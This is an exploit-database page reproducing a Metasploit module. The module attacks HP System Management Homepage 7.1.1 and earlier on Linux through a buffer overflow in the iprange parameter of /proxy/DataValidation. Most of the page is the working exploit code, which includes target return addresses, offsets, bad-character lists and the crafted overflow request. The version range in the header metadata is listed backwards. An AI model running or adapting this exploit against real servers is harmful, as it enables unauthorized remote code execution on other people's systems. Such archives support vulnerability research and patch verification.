header-logo
Suggest Exploit
vendor:
System Management
by:
agix
N/A
CVSS
N/A
Remote Code Execution
N/A
CWE
Product Name: System Management
Affected Version From: HP System Management 7.1.1
Affected Version To: HP System Management 6.3.0
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux (CentOS)
2012

HP System Management Anonymous Access Code Execution

This module exploits an anonymous remote code execution on HP System Management 7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on a request against /proxy/DataValidation. In order to work HP System Management must be configured with Anonymous access enabled.

Mitigation:

Configure HP System Management with Anonymous access disabled.
Source

Exploit-DB raw data:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP System Management Anonymous Access Code Execution',
      'Description'    => %q{
          This module exploits an anonymous remote code execution on HP System Management
        7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
        a request against /proxy/DataValidation. In order to work HP System Management must
        be configured with Anonymous access enabled.
      },
      'Author'         => [ 'agix' ], # @agixid
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1000,
          'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESP' # See the comments below
            }
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_X86,
      'References'   =>
        [
          ['OSVDB', '91812']
        ],
      'Targets'        =>
        [
          [ 'HP System Management 7.1.1 - Linux (CentOS)',
            {
              'Ret' => 0x8054e14, # push esp / ret
              'Offset' => 267
            }
          ],
          [ 'HP System Management 6.3.0 - Linux (CentOS)',
            {
              'Ret' => 0x805a547, # push esp / ret
              'Offset' => 267
            }
          ]
        ],
      'DisclosureDate' => 'Sep 01 2012',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(2381),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)

  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cpqlogin.htm"
    })

    if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
      version = $1
      return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    padding = rand_text_alpha(target['Offset'])
    ret = [target['Ret']].pack('V')
    iprange = "a-bz"+padding+ret+payload.encoded

    print_status("#{rhost}:#{rport} - Sending exploit...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/proxy/DataValidation",
      'encode_params' => false,
      'vars_get' => {
        'iprange' => iprange
      }
    })

  end

end